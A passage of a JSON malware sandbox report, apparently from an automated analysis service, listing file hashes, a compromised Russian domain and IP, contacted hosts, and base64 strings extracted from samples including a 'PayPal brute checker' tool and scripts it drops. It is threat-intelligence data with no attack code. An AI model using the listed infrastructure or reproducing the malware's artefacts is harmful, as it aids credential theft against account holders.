verdict","positives":null,"total":null,"scan_date":"2019-05-31T04:54:59+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/a9ac35b3dafddd0a0ee8a6696e18bb7d65d3d8516e00cc3abeb761a9a679c5c6/"}},{"sha256":"fdba67156caf2c8b0f8f9f3df671634e086f2b9cc5f068d79cfbcdde9f5b21b7","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-31T04:54:00+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/fdba67156caf2c8b0f8f9f3df671634e086f2b9cc5f068d79cfbcdde9f5b21b7/"}},{"sha256":"37beb22bad6478a9c6b671803a8d7e75fefee0ed5d13d1447df1acc9e2a62e87","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-31T04:53:48+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/37beb22bad6478a9c6b671803a8d7e75fefee0ed5d13d1447df1acc9e2a62e87/"}}]},{"compromised":true,"domain":"sqlo4ka.ru","address":"195.161.41.57","ttl":10799,"country":"Russian Federation","registrar_name":"R01-RU","registrar_organization":null,"registrar_name_servers":"ns1.jino.ru.","registrar_creation_date":"2019-04-30T09:44:01+00:00","who_is":[{"key":"Creation Date","value":"Tue, 30 Apr 2019 09:44:01 GMT"},{"key":"Domain Name","value":"SQLO4KA.RU"},{"key":"Expiration Date","value":"Thu, 30 Apr 2020 09:44:01 GMT"},{"key":"Name Server","value":"ns1.jino.ru."},{"key":"Name Server","value":"ns2.jino.ru."},{"key":"Reigstrar","value":"R01-RU"},{"key":"Status","value":"REGISTERED, DELEGATED, VERIFIED"}],"associated_sha256s":[{"sha256":"d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-30T06:51:55+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1/"}},{"sha256":"64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-25T01:48:12+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14/"}}]}],"contacted_hosts":[{"compromised":true,"address":"195.161.41.57","port":80,"protocol":"TCP","associated_runtime":[{"name":"powershell.exe","pid":"3808"},{"name":"fontreview.exe","pid":"3544"}],"country":"Russian Federation","associated_sha256s":[{"sha256":"d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-30T06:51:55+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1/"}},{"sha256":"64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-25T01:48:12+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14/"}}]},{"compromised":true,"address":"216.239.34.21","port":80,"protocol":"TCP","associated_runtime":[{"name":"fontreview.exe","pid":"3544"}],"country":"United States","associated_sha256s":[{"sha256":"d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-30T06:51:55+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1/"}},{"sha256":"64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14","verdict":"no verdict","positives":null,"total":null,"scan_date":"2019-05-25T01:48:12+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14/"}}]}],"contacted_countries":{"countries":["RUS","USA"],"coordinates":[{"origin":{"latitude":"36.8102","longitude":"-119.382"},"destination":{"latitude":"55.7527","longitude":"37.6172"}},{"origin":{"latitude":"36.8102","longitude":"-119.382"},"destination":{"latitude":"41.1156","longitude":"-95.9375"}}]},"port_infos":[{"port":80,"description":"Hypertext Transfer Protocol (HTTP)"}],"extracted_strings":{"all":[{"value":"ISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISF6enp6eg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ISIjJCUlJSUlJSYmJygpKislJSUlJSUmJicoKSorLCwsLCwsLS0uLzAxMlJSUlJSUlJSUlJSUjMzNDU1NjY3ODk6Ojo6Ozw9PD0+Pz5AQUJDPkBBQkNSUlJSUkRFRkdISUpLTE1OTw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F821000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ISIkJSYnKCkqKy0uMDEyMzQ1Njc4Ozw/QUJERUhJTE1QUVRVVldYWVpbXl9gYWJkZWdoaWtsbW5vcHFyc3R1dnd4eXp7fX4=","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"IWxzIVxQb3dlclNoZWxsRW5naW5l","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IVBweEAhR2EyenJaeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"IVByZWZlcnJlZCBsZWdhY3kgZm9ybWF0IHN0cnVjdHVyZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"IXF+a3xJMVQo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"IXk7W2AiWXJ1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"IiVQVUJMSUMlXERvd25sb2FkXEg1S2tJT1h5ekwySjlCT2xXMUJHd0Z6aDkzZVFwaC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVzIiAoJWQpIDogPT0+ICVzOiVzJXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IkFBQyBBdWRpbyBQcm9maWxlIExldmVsIEluZGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"IkM6L1VzZXJzL1B1YmxpYy9Eb3dubG9hZC85MGNjNmU0NDdkMzQ1YmIxZjEwMzc1MWFiMDM4YmJjZTE5MTkwZGI2LmV4ZSI=","type":"Ansi","source":"Dropped File","process":null,"filename":"jxzvmjhZXoFhKaVkRQp3.cmd","compromised":null,"detection_total":null,"total":null},{"value":"IkM6XE1lZGlhXFN5c3RlbS52YmUi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IkM6XFBheVBhbEJydXRlX0NoZWNrZXIuZXhlIg==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"IldpbmFwaS5XaW5Tb2Nr","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Iy5lYUIkQlFsfg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"I0B+XnlnRUFBQT09ag==","type":"Ansi","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"I0YgRF4zUi8q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"I2luY2x1ZGU=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"I2luY2x1ZGUgZGVwdGggZXhjZWVkZWQuICBNYWtlIHN1cmUgdGhlcmUgYXJlIG5vIHJlY3Vyc2l2ZSBpbmNsdWRlcw==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"I1N0cmluZ3M=","type":"Ansi","source":"Memory/File Scan","process":"loader.bat","filename":"00099794-00004056.00000001.100319.01192000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"I3ZaX30gNm9G","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"I3ssd09JNmw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JCQkJElRYGBgYGNhXGFfX2E=","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"JCQkSVFgX2BgYVxhXF9TUlVdPg==","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"JCQkSVFgYGBgYWNhX2FcXV9dPg==","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMDctMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMjAtMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMjAtMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMmEtMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMmEtMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwMzktMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAwNWYtMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCRtZXRob2QweDYwMDAyN2ItMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JCdNNlA2JCZ+MQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"JDAwMDAwMTBjLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDA0NUZBNTkzLTg3OTktNDJiOC1CQzhELTg5NjhDNjQ1MzUwNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDA1NzkxNTRBLTJCNTMtNDk5NC1CMEQwLUU3NzMxNDhFRkY4NQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDBCRDdBMUJFLTdBMUEtNDREQi04Mzk3LUNDNTM5MjM4N0I1RQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFCRTA5Nzg4LTY4OTQtNDA4OS04NTg2LTlBMkE2QzI2NUFDNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFDQjlBRDRDLURCRkEtNGMzMi1CMTc4LUMyRjU2OEE3MDNCMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDFmM2VmZWZiLWViZDUtNDQ0Ny04NGY1LTc3NzZkNzA4MzZiZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"JDI0OTE4QUNDLTY0QjMtMzdDMS04Q0E5LTc0QTY2RTk5NTdBOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI3OUFGQTgzLTQ5ODEtMTFDRS1BNTIxLTAwMjBBRjBCRTU2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI3OUFGQTg1LTQ5ODEtMTFDRS1BNTIxLTAwMjBBRjBCRTU2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDI5ODQwODIyLTVCODQtMTFEMC1CRDNCLTAwQTBDOTExQ0U4Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDJjM2NkOThhLTJiZmEtNGE1My05YzI3LTUyNDliYTY0YmEwZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDJDRDJEOTIxLUM0NDctNDRBNy1BMTNDLTRBREFCRkMyNDdFMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDMxMzdmMWNkLWZlNWUtNDgwNS1hNWQ4LWZiNDc3NDQ4Y2IzZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDM2QjczODgyLUMyQzgtMTFDRi04QjQ2LTAwODA1RjZDRUY2MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQzOWEzMmNiLWM2ZTAtNGE1MS04OWY0LTRiMjdiMTFiYmNhNA==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDQ0QUUwRkE4LUVBMzEtNDEwOS04RDJFLTRDQUU0OTk3QzU1NQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQ2ODU4YzNhLTBkYzYtNDVlMy1iNzYwLWQ0ZWVmMTZjYjMyNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDQ4ZTJlZDBmLTk4YzItNGEzNy1iZWQ1LTE2NjMxMmRkZDgzZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDRiMTY2YTZhLTBkNjYtNDNmMy04MGUzLWVlNjI4MGRlZTFhNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDRiYmQxMTU0LTYyZjYtNGUyYy1hMTVjLWQzYjZjNDE3ZjdhMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU1MjcyQTAwLTQyQ0ItMTFDRS04MTM1LTAwQUEwMDRCQjg1MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkxLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkyLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODkzLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODk1LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2ODk3LTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2ODk5LTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2ODlGLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEE2LTBBZDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEE5LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEIxLTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2QTg2OEI0LTBBRDQtMTFDRS1CMDNBLTAwMjBBRjBCQTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU2YTg2OGMwLTBhZDQtMTFjZS1iMDNhLTAwMjBhZjBiYTc3MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDU5ZWZmOGI5LTkzOGMtNGEyNi04MmYyLTk1Y2I4NGNkYzgzNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVCQzhBNzZCLTg2OUEtNDZBMy05QjAzLUZBMjE4QTY2QUVCRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVDREYyQzgyLTg0MUUtNDU0Ni05NzIyLTBDRjc0MDc4MjI5QQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDVmMTk3NDM0LTViMTMtNDQ5OS04NjFiLTk3Yjk4OTk1YmRmOQ==","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDY0MUREMjBCLTRENDEtNDlDQy1BQkEzLTE3NEI5NDc3QkIwOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY1MUI5QUQwLTBGQzctNEFBOS05NTM4LUQ4OTkzMTAxMDc0MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY1NzgwNEZBLUQ2QUQtNDQ5Ni04QTYwLTM1Mjc1MkFGNEY4OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDY5MGY0MjE5LWUzN2YtNDk1NC05ODZmLTVlYTQzNTA2NTFmZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZBMkUwNjcwLTI4RTQtMTFEMC1BMThjLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZCNjUyRkZGLTExRkUtNEZDRS05MkFELTAyNjZCNUQ3Qzc4Rg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZkNmNiYjYwLWEyMjMtNDRhYS04NDJmLWEyZjA2NzUwYmU2ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDZmNDlmZjczLTY3MjctNDlBQy1BMDA4LUQ5OENGNUU3MDA0OA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDcwYWU2NmYyLWM4MDktNGU0Zi04OTE1LWJkY2I0MDZiNzk5Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDc3QUE5OUEwLTFCRDYtNDg0Ri04QkM3LTJDNjU0QzlBOUI2Rg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDc5OTFFRUM5LTdFODktNEQ4NS04MzkwLTZDNzAzQ0VDNjBDMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDdlM2Y5MDM3LTdmYTAtNDc0YS05ZjkwLWVkZmRmY2NlZjMzYQ==","type":"Ansi","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JDdGRUU5RTlBLTRBODktNDdhNi04OTlDLUI2QTUzQTcwRkI2Nw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg3Q0U1NDk4LTY4RDYtNDRFNS05MjE1LTZEQTQ3RUY4ODNEOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg4MDg0MmUzLTE0NWYtNDNlNi1hOTM0LWE3MTgwNmU1MDU0Nw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDg4NmQ4ZWViLThjZjItNDQ0Ni04ZDAyLWNkYmExZGJkY2Y5OQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDhiZDI4ZWRmLTUwZGItNGU5Mi1hMmJkLTQ0NTQ4OGQxZWQ0Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDhlY2Y0MzI2LTQ1NWYtNGQ4Yi1iZGE5LThkNWQzZTllM2UwYg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkwM2U5ODc4LTJjOTItNDA3Mi05YjJjLWVhNjhmNTM5Njc4Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkzMDE0ODg3LTI0MkQtNDA2OC04QTE1LUNGNUU5M0I5MEZFMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDkzRTVBNEUwLTJENTAtMTFkMi1BQkZBLTAwQTBDOUM2RTM4RA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JDljZmE3ZjNkLTVjZGYtNDRhMi04NzgxLTVkYjMzYWMwNzY0Mw==","type":"Ansi","source":"Dropped File","process":null,"filename":"regedit.exe.3528140644","compromised":null,"detection_total":null,"total":null},{"value":"JEE5NTY2NEQyLTk2MTQtNEYzNS1BNzQ2LURFOERCNjM2MTdFNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGFkNGMxYjAwLTRiZjctNDIyZi05MTc1LTc1NjY5M2Q5MTMwZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGIwMjEwNzgzLTg5Y2QtMTFkMC1hZjA4LTAwYTBjOTI1Y2QxNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEIxOTZCMjhCLUJBQjQtMTAxQS1CNjlDLTAwQUEwMDM0MUQwNw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJiZWVhODQxLTBhNjMtNGY1Mi1hN2FiLWE5YjNhODRlZDM4YQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEJDREUwMzk1LUU1MkYtNDY3Qy04RTNELUM0NTc5MjkxNjkyRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJmOTRjMTIxLTViMDUtNGU2Zi04MDAwLWJhNTk4OTYxNDE0ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEJGQTk3MUYxLTRENUUtNDBCQi05MzVFLTk2NzAzOUJGQkVFNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGJmYjdmZjg4LTcyMzktNGZjOS04ZmEyLTA3Yzk1MGJlOWM2ZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEMwMjIxNkY2LThDNjctNEI1Qi05RDAwLUQwMDhFNzNFMDA2NA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGMwM2NhOWZlLWZlOTAtNDIwNC04MDc4LTgyMzM0Y2QxNzdkYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JGM0MGEwMGYyLWI5M2EtNGQ4MC1hZThjLTVhMWM2MzRmNThlNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"JEM2RTEzMzQwLTMwQUMtMTFkMC1BMThDLTAwQTBDOTExODk1Ng==","type":"Ansi","source":"Dropped 